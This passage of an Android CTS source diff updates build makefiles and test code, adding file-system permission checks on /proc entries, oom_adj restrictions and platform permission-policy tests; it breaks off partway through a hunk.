 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index cace6d0..e99d5c4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -20,7 +20,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    org.apache.http.legacy \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index 64f0f79..5558379 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
 
 LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
index afa94dc..8c45c38 100755
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ b/tests/tests/opengl/libopengltest/Android.mk
@@ -39,6 +39,10 @@
 LOCAL_CXX_STL := libc++_static
 
 LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
+
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-sign-compare -Wno-unused-function -Wno-unused-variable
+
 include $(BUILD_SHARED_LIBRARY)
 
 
diff --git a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
index fe49b1b..a511f9a 100755
--- a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
+++ b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
@@ -135,7 +135,7 @@
         jclass obj, jint pCategory, jint pSubCategory, jfloatArray color)
 {
     LOGI("Inside draw %d %d", pCategory, pSubCategory);
-    jfloatArray result;
+    jfloatArray result = nullptr;
     if(pCategory == 3){
         if(pSubCategory == 1){
             result = env->NewFloatArray(4);
@@ -143,8 +143,8 @@
             jfloat *lColor =  env->GetFloatArrayElements(color,0);
 
             float * actualColor = drawColorOne(lColor);
-            for( int i= 0; i < sizeof(actualColor); i++) {
-                LOGI("actualColor[%d] ; %f", i, actualColor[i]);
+            for(unsigned i = 0; i < sizeof(actualColor); i++) {
+                LOGI("actualColor[%u] ; %f", i, actualColor[i]);
             }
             env->SetFloatArrayRegion(result, 0, 4, actualColor);
         }
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 46e316a..fcc2ba6 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
index d6df59b..fef30a1 100644
--- a/tests/tests/openglperf/jni/Android.mk
+++ b/tests/tests/openglperf/jni/Android.mk
@@ -28,4 +28,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index c99e236..ccc72a1 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -44,7 +44,7 @@
 LOCAL_PACKAGE_NAME := CtsOsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # uncomment when b/13282254 is fixed
 #LOCAL_SDK_VERSION := current
@@ -66,7 +66,7 @@
 LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
 cts_platform_version_string := $(shell cat $(cts_platform_version_path))
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ae9a76b..52c184f 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-8.0.0
+P
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index ffd1b96..fa82192 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -55,4 +55,16 @@
 	LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
 endif
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-inline-asm -Wno-unused-const-variable
+
+# Let's overwrite -mcpu in case it's set to some ARMv8 core by
+# TARGET_2ND_CPU_VARIANT and causes clang to ignore the -march below.
+LOCAL_CPPFLAGS_arm := -mcpu=generic
+
+# The ARM version of this library must be built using ARMv7 ISA (even if it
+# can be run on armv8 cores) since one of the tested instruction, swp, is
+# only supported in ARMv7 (and older) cores, and obsolete in ARMv8.
+LOCAL_CPPFLAGS_arm += -march=armv7-a
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/android_os_cts_TaggedPointer.cpp b/tests/tests/os/jni/android_os_cts_TaggedPointer.cpp
index f656f50..dca6ae2 100644
--- a/tests/tests/os/jni/android_os_cts_TaggedPointer.cpp
+++ b/tests/tests/os/jni/android_os_cts_TaggedPointer.cpp
@@ -18,7 +18,6 @@
 #include <inttypes.h>
 #include <setjmp.h>
 #include <signal.h>
-#include <stdbool.h>
 #include <stdlib.h>
 #include <string.h>
 
diff --git a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
index 335818a..1c2f91e 100644
--- a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
+++ b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
@@ -201,7 +201,7 @@
                 try {
                     command.run();
                     fail("Exception not thrown");
-                } catch (Throwable tr) {
+                } catch (Exception tr) {
                     // expected
                 }
             }
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index c9650bd..f62b470 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -241,8 +241,11 @@
                     // should at least be a conscious decision.
                     assertEquals(10000, fieldValue);
                 } else if (fieldName.equals(CODENAME) && !CODENAME.equals("REL")) {
-                    // This is the current development version.
-                    assertEquals(CUR_DEVELOPMENT, fieldValue);
+                    // This is the current development version. Note that fieldName can
+                    // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
+                    // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
+                    assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
+                            + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
                 } else {
                     assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
                             + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
diff --git a/tests/tests/os/src/android/os/cts/LooperTest.java b/tests/tests/os/src/android/os/cts/LooperTest.java
index c0a176c..b89f590 100644
--- a/tests/tests/os/src/android/os/cts/LooperTest.java
+++ b/tests/tests/os/src/android/os/cts/LooperTest.java
@@ -97,11 +97,15 @@
     public void testMyQueue() throws Throwable {
         TestThread t = new TestThread(new Runnable() {
             public void run() {
+                boolean didThrow = false;
                 try {
                     assertNull(Looper.myQueue());
-                    fail("should throw exception");
                 } catch (Throwable e) {
                     // expected
+                    didThrow = true;
+                }
+                if (!didThrow) {
+                    fail("should throw exception");
                 }
                 Looper.prepare();
                 MessageQueue mq = Looper.myQueue();
@@ -132,7 +136,7 @@
                 try {
                     Looper.prepare();
                     fail("should throw exception");
-                } catch (Throwable e) {
+                } catch (Exception e) {
                     //expected
                 }
             }
@@ -147,7 +151,7 @@
                 try {
                     Looper.prepareMainLooper();
                     fail("should throw exception because the main thread was already prepared");
-                } catch (Throwable e) {
+                } catch (Exception e) {
                     //expected
                 }
             }
diff --git a/tests/tests/os/src/android/os/cts/TokenWatcherTest.java b/tests/tests/os/src/android/os/cts/TokenWatcherTest.java
index 70e839a..312ea81 100644
--- a/tests/tests/os/src/android/os/cts/TokenWatcherTest.java
+++ b/tests/tests/os/src/android/os/cts/TokenWatcherTest.java
@@ -23,7 +23,6 @@
 import android.os.Handler;
 import android.os.IBinder;
 import android.os.Looper;
-import android.os.Message;
 import android.os.RemoteException;
 import android.os.TokenWatcher;
 import android.test.AndroidTestCase;
@@ -159,6 +158,36 @@
         assertTrue(waitUntilReleased());
     }
 
+    public void testRepeatedAcquire() throws RemoteException, InterruptedException {
+        IBinder token = mEmptyService.getToken();
+        mMockTokenWatcher = new MockTokenWatcher(mHandler, TAG);
+        assertFalse(mMockTokenWatcher.isAcquired());
+        assertFalse(mMockTokenWatcher.isAcquiredCalled);
+        assertFalse(mMockTokenWatcher.isReleasedCalled);
+
+        // First time
+        mMockTokenWatcher.acquire(token, TAG);
+        assertTrue(mMockTokenWatcher.isAcquired());
+        assertTrue(waitUntilAcquired());
+
+        // Reset
+        mMockTokenWatcher.isAcquiredCalled = false;
+        mMockTokenWatcher.isReleasedCalled = false;
+
+        // Second time -- should be a no-op
+        mMockTokenWatcher.acquire(token, TAG);
+        assertTrue(mMockTokenWatcher.isAcquired());
+        assertFalse(waitUntilAcquired());
+        assertFalse(waitUntilReleased());
+
+        // Release
+        synchronized (mMockTokenWatcher) {
+            mMockTokenWatcher.release(token);
+            assertFalse(mMockTokenWatcher.isAcquired());
+        }
+        assertTrue(waitUntilReleased());
+    }
+
     private boolean waitUntilAcquired() throws InterruptedException {
         long time = System.currentTimeMillis();
         while (System.currentTimeMillis() - time < OVERTIME) {
diff --git a/tests/tests/os/src/android/os/cts/WorkSourceTest.java b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
index f3986b1..ff9d693 100644
--- a/tests/tests/os/src/android/os/cts/WorkSourceTest.java
+++ b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
@@ -19,6 +19,8 @@
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
+import java.util.Arrays;
+
 import android.os.WorkSource;
 import android.test.AndroidTestCase;
 
@@ -142,7 +144,7 @@
                 fail(op + ": WorkSource is not null " + ws +", but expected null");
             }
             if (uids != null) {
-                fail(op + "WorkSource is null, but expected non-null: " + uids);
+                fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
             }
             return;
         }
@@ -162,7 +164,7 @@
                 fail(op + ": WorkSource is not null " + ws +", but expected null");
             }
             if (uids != null) {
-                fail(op + "WorkSource is null, but expected non-null: " + uids);
+                fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
             }
             return;
         }
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index a77f0c9..95a607d 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	ub-uiautomator \
+	android-support-test \
+	android-support-v4 \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
index e817233..bb8ca13 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -33,7 +33,7 @@
         </receiver>
 
         <activity android:name=".LauncherActivity">
-            <intent-filter android:priority="-999">
+            <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.HOME" />
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 17f97fe..8a4b980 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -49,7 +49,7 @@
         mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
     }
 
-    public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
+    public void testBroadcastReceivedForDifferentLauncher() throws Exception {
         if (!mHasFeature) {
             return;
         }
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index c621852..b1171f1 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -25,6 +25,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index 805385a..ca2fbda 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 68fa193..a88bb01 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 91c0540..e8b3f1a 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -30,5 +30,8 @@
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_SDK_VERSION := 23
 LOCAL_CPPFLAGS := -std=gnu++11
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
index 0547be4..22dae69 100644
--- a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
+++ b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
@@ -25,9 +25,9 @@
 #include <grp.h>
 #include <pwd.h>
 #include <string.h>
-#include <ScopedLocalRef.h>
-#include <ScopedPrimitiveArray.h>
-#include <ScopedUtfChars.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedPrimitiveArray.h>
+#include <nativehelper/ScopedUtfChars.h>
 
 static jfieldID gFileStatusDevFieldID;
 static jfieldID gFileStatusInoFieldID;
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index b01b5df..1ae4ddd 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -56,6 +56,7 @@
 import java.util.HashSet;
 import java.util.LinkedList;
 import java.util.List;
+import java.util.Scanner;
 import java.util.Set;
 
 /**
@@ -169,6 +170,24 @@
         assertFalse(f.canExecute());
     }
 
+    /* b/26813932 */
+    @MediumTest
+    public void testProcInterruptsNotReadable() throws Exception {
+        File f = new File("/proc/interrupts");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
+    /* b/26813932 */
+    @MediumTest
+    public void testProcStatNotReadable() throws Exception {
+        File f = new File("/proc/stat");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
     @MediumTest
     public void testDevMemSane() throws Exception {
         File f = new File("/dev/mem");
@@ -253,18 +272,58 @@
         assertFileOwnedByGroup(f, "net_bw_stats");
     }
 
-    @MediumTest
-    public void testProcSelfOomAdjSane() {
-        File f = new File("/proc/self/oom_adj");
-        assertFalse(f.canWrite());
-        assertFalse(f.canExecute());
+    private static int readInt(File f) throws FileNotFoundException {
+        try (Scanner s = new Scanner(f)) {
+            return s.nextInt();
+        }
+    }
+
+    private static boolean writeInt(File f, int value) throws IOException {
+        try (FileOutputStream os = new FileOutputStream(f)) {
+            try {
+                os.write(Integer.toString(value).getBytes());
+                return true;
+            } catch (IOException e) {
+                return false;
+            }
+        }
     }
 
     @MediumTest
-    public void testProcSelfOomScoreAdjSane() {
-        File f = new File("/proc/self/oom_score_adj");
-        assertFalse(f.canWrite());
+    public void testProcSelfOomAdjSane() throws IOException {
+        final int OOM_DISABLE = -17;
+
+        File f = new File("/proc/self/oom_adj");
+        assertTrue(f.canRead());
         assertFalse(f.canExecute());
+
+        int oom_adj = readInt(f);
+        assertNotSame("unprivileged processes should not be unkillable", OOM_DISABLE, oom_adj);
+        if (f.canWrite())
+            assertFalse("unprivileged processes should not be able to reduce their oom_adj value",
+                    writeInt(f, oom_adj - 1));
+    }
+
+    @MediumTest
+    public void testProcSelfOomScoreAdjSane() throws IOException {
+        final int OOM_SCORE_ADJ_MIN = -1000;
+
+        File f = new File("/proc/self/oom_score_adj");
+        assertTrue(f.canRead());
+        assertFalse(f.canExecute());
+
+        int oom_score_adj = readInt(f);
+        assertNotSame("unprivileged processes should not be unkillable", OOM_SCORE_ADJ_MIN, oom_score_adj);
+        if (f.canWrite()) {
+            assertFalse(
+                    "unprivileged processes should not be able to reduce their oom_score_adj value",
+                    writeInt(f, oom_score_adj - 1));
+            assertTrue(
+                    "unprivileged processes should be able to increase their oom_score_adj value",
+                    writeInt(f, oom_score_adj + 1));
+            assertTrue("unprivileged processes should be able to restore their oom_score_adj value",
+                    writeInt(f, oom_score_adj));
+        }
     }
 
     private static List<Pair<Long, Long>> mappedPageRanges() throws IOException {
@@ -323,9 +382,6 @@
     @MediumTest
     public void testProcSelfPagemapSane() throws ErrnoException, IOException {
         FileDescriptor pagemap = null;
-        int dumpable = Os.prctl(OsConstants.PR_GET_DUMPABLE, 0, 0, 0, 0);
-        Os.prctl(OsConstants.PR_SET_DUMPABLE, 1, 0, 0, 0);
-
         try {
             pagemap = Os.open("/proc/self/pagemap", OsConstants.O_RDONLY, 0);
 
@@ -342,7 +398,6 @@
         } finally {
             if (pagemap != null)
                 Os.close(pagemap);
-            Os.prctl(OsConstants.PR_SET_DUMPABLE, dumpable, 0, 0, 0);
         }
     }
 
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index d4f48f4..be984c5 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -22,11 +22,14 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	ctstestrunner \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 4223535..3880668 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -202,8 +202,8 @@
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
         android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
-    <protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.pbapclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.btopp.intent.action.INCOMING_FILE_NOTIFICATION" />
     <protected-broadcast android:name="android.btopp.intent.action.USER_CONFIRMATION_TIMEOUT" />
@@ -285,6 +285,7 @@
     <protected-broadcast android:name="android.btopp.intent.action.STOP_HANDOVER_TRANSFER" />
     <protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND" />
     <protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND_MULTIPLE" />
+    <protected-broadcast android:name="com.android.nfc.handover.action.CANCEL_HANDOVER_TRANSFER" />
 
     <protected-broadcast android:name="android.intent.action.CLEAR_DNS_CACHE" />
     <protected-broadcast android:name="android.intent.action.PROXY_CHANGE" />
@@ -1676,6 +1677,20 @@
     <permission android:name="android.permission.BIND_IMS_SERVICE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to manage embedded subscriptions (those on a eUICC) through
+         EuiccManager APIs.
+         <p>Protection level: signature|privileged|development
+         TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+         @hide -->
+    <permission android:name="com.android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS"
+                android:protectionLevel="signature|privileged|development" />
+
+    <!-- Must be required by an EuiccService to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+         @hide -->
+    <permission android:name="com.android.permission.BIND_EUICC_SERVICE"
+                android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
@@ -1901,6 +1916,7 @@
                 android:description="@string/permdesc_useDataInBackground"
                 android:protectionLevel="normal" />
 
+
     <!-- @hide Allows an application to set display offsets for the screen.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.SET_DISPLAY_OFFSET"
@@ -2199,6 +2215,22 @@
     <permission android:name="android.permission.UPDATE_CONFIG"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows a time zone rule updater application to request
+         the system installs / uninstalls timezone rules.
+         <p>An application requesting this permission is responsible for
+         verifying the source and integrity of the update before passing
+         it off to the installer components.
+         @hide -->
+    <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Must be required by a time zone rule updater application,
+         to ensure that only the system can trigger it.
+         @hide -->
+    <permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"
+                android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"/>
+
     <!-- Allows the system to reset throttling in shortcut manager.
          @hide -->
     <permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
@@ -2332,6 +2364,24 @@
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to use
+        {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+        to hide non-system-overlay windows.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+    <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
+                android:protectionLevel="signature|installer" />
+
+    <!-- @SystemApi Allows an application to use
+        {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+        to hide non-system-overlay windows.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+    <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
+                android:protectionLevel="signature|installer" />
+
     <!-- @SystemApi Allows an application to manage (create, destroy,
          Z-order) application tokens in the window manager.
          <p>Not for use by third-party applications.
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 577bb92..f432afb 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -21,6 +21,7 @@
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 import android.util.ArraySet;
 import android.util.Log;
@@ -29,15 +30,24 @@
 
 import java.io.InputStream;
 import java.lang.String;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
 import java.util.ArrayList;
+import java.util.Date;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
 
+import static android.os.Build.VERSION.SECURITY_PATCH;
+
 /**
  * Tests for permission policy on the platform.
  */
 public class PermissionPolicyTest extends AndroidTestCase {
+    private static final Date HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE = parseDate("2017-09-05");
+    private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION
+            = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -54,6 +64,8 @@
         PackageInfo platformPackage = getContext().getPackageManager()
                 .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
         Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
+        List<String> offendingList = new ArrayList<String>();
+
         for (PermissionInfo declaredPermission : platformPackage.permissions) {
             declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
         }
@@ -68,11 +80,17 @@
         Set<String> expectedPermissionGroups = new ArraySet<String>();
 
         for (PermissionInfo expectedPermission : loadExpectedPermissions()) {
-            // OEMs cannot remove permissions
             String expectedPermissionName = expectedPermission.name;
+            if (shouldSkipPermission(expectedPermissionName)) {
+                continue;
+            }
+
+            // OEMs cannot remove permissions
             PermissionInfo declaredPermission = declaredPermissionsMap.get(expectedPermissionName);
-            assertNotNull("Permission " + expectedPermissionName
-                    + " must be declared", declaredPermission);
+            if (declaredPermission == null) {
+                offendingList.add("Permission " + expectedPermissionName + " must be declared");
+                continue;
+            }
 
             // We want to end up with OEM defined permissions and groups to check their namespace
             declaredPermissionsMap.remove(expectedPermissionName);
@@ -84,48 +102,79 @@
                     & PermissionInfo.PROTECTION_MASK_BASE;
             final int declaredProtection = declaredPermission.protectionLevel
                     & PermissionInfo.PROTECTION_MASK_BASE;
-            assertEquals("Permission " + expectedPermissionName + " invalid protection level",
-                    expectedProtection, declaredProtection);
+            if (expectedProtection != declaredProtection) {
+                offendingList.add(
+                        String.format(
+                                "Permission %s invalid protection level %x, expected %x",
+                                expectedPermissionName, declaredProtection, expectedProtection));
+            }
 
             // OEMs cannot change permission protection flags
             final int expectedProtectionFlags = expectedPermission.protectionLevel
                     & PermissionInfo.PROTECTION_MASK_FLAGS;
             final int declaredProtectionFlags = declaredPermission.protectionLevel
                     & PermissionInfo.PROTECTION_MASK_FLAGS;
-            assertEquals("Permission " + expectedPermissionName + " invalid enforced protection"
-                    + " level flags", expectedProtectionFlags, declaredProtectionFlags);
